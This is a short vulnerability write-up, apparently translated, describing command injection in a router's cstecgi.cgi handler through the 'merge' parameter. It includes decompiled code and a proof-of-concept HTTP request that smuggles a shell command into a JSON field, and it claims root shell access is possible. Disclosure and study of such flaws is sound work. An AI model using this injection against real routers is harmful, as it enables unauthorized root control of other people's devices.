



Figure 1 shows the latest firmware Ba of the router

2. Vulnerability details

The program passes the content obtained by the merge parameter to V2, and then brings V2 into UCI_Set_In str function

```
184 else

185 v9 = "Unknown ID";

186 break;

187 }

188 snprintf(v11, 1024, "uci set -c %s %s.%s.%s=\"%s\"", v8, v9, a2, a3, a4);

189 CsteSystem(v11, 0);

190 return 1;

191}
```

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

```
7  {
8     v6[2] = (int)a1;
9     v6[3] = 0;
0     v6[0] = (int)&off_ABA4;
1     v6[1] = (int)&off_ABA8;
2     if ( a2 )
        printf("[system]: %s\r\n", a1);
4     execv("/bin/sh", v6);
5     exit(127);
6     result = eval();
7  }
```

The function directly brings user input into the execv function, which has a command injection vulnerability

3. Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Use the fat simulation firmware V7.4cu.2313 B20191024
- 2. Attack with the following overflow POC attacks

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 79
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1647872744:2
Connection: close
{"topicurl": "setting/setWiFiAdvancedCfg",
"merge": "1$(ls>/tmp/123;)"}
```

The reproduction results are as follows:



Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

